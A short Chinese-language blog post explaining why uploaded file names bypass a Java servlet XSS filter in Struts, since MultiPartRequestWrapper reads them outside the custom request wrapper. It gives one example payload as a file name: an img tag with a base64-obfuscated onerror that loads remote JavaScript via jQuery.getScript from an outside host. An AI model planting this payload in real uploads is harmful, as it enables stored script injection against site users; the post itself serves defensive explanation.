美文网首页JAVA基础
XSS漏洞--文件名

XSS漏洞--文件名

作者: gghao1 | 来源:发表于2018-05-02 17:59 被阅读9次

    java处理xss漏洞的方法一般是配个filter,例如:

    chain.doFilter(new XssHttpServletRequestWraper((HttpServletRequest) request), response);

    写个HttpServletRequestWrapper的子类XssHttpServletRequestWraper,重写getParameter等方法(过滤),封装request,然后继续执行filter链。(这部分会在之后会写一篇说明)

    但是文件名获取不会走新写的request包装包装器类,如果不加处理,存在存储型xss漏洞。

    例如:

    文件名:<img src=x id=alF1ZXJ5LmdldFNjcmlwdCgiaHR0cHM6Ly9jb2RpbmcubmV0L3UveWFuZ3hpYW9kaS9wL3Rlc3QxL2dpdC9yYXcvbWFzdGVyLzMuanMiKQ onerror=eval(atob(this.id))>2.png"

    atob是base64解码方法,解码之后jQuery.getScript("https://coding.net/u/yangxiaodi/p/test1/git/raw/master/3.js")

    如果没有得到过滤,前端获取到文件名渲染时不经过转义(服务器存文件时未改名字),会执行js脚本导致xss攻击。

    下文以struts为例说明

    struts

    流程:1.走自己写的xssfilter,封装request。 

              2.走struts的filter dispatcher,dofilter方法中会调用prepareDispatcherAndWrapRequest方法,prepare方法中根据contentType为multipart/form-data,使用MultiPartRequestWrapper封装request. 其他情况用StrutsRequestWrapper封装

     3.使用StrutsRequestWrapper封装的情况下,调用getParameter,gerHeader等方法,都会经过自己写的filter类的。

    4.MultiPartRequestWrapper 

    public StringgetParameter(String name) {

        return ((multi ==null) || (multi.getParameter(name) ==null)) ?super.getParameter(name) :multi.getParameter(name);

    }

    其中multi中包含文件名的参数,所以获取文件名不会走自己写的filter类。

    综上,文件名需要单独处理。

    相关文章

      网友评论

        本文标题:XSS漏洞--文件名

        本文链接:https://www.haomeiwen.com/subject/ecpcrftx.html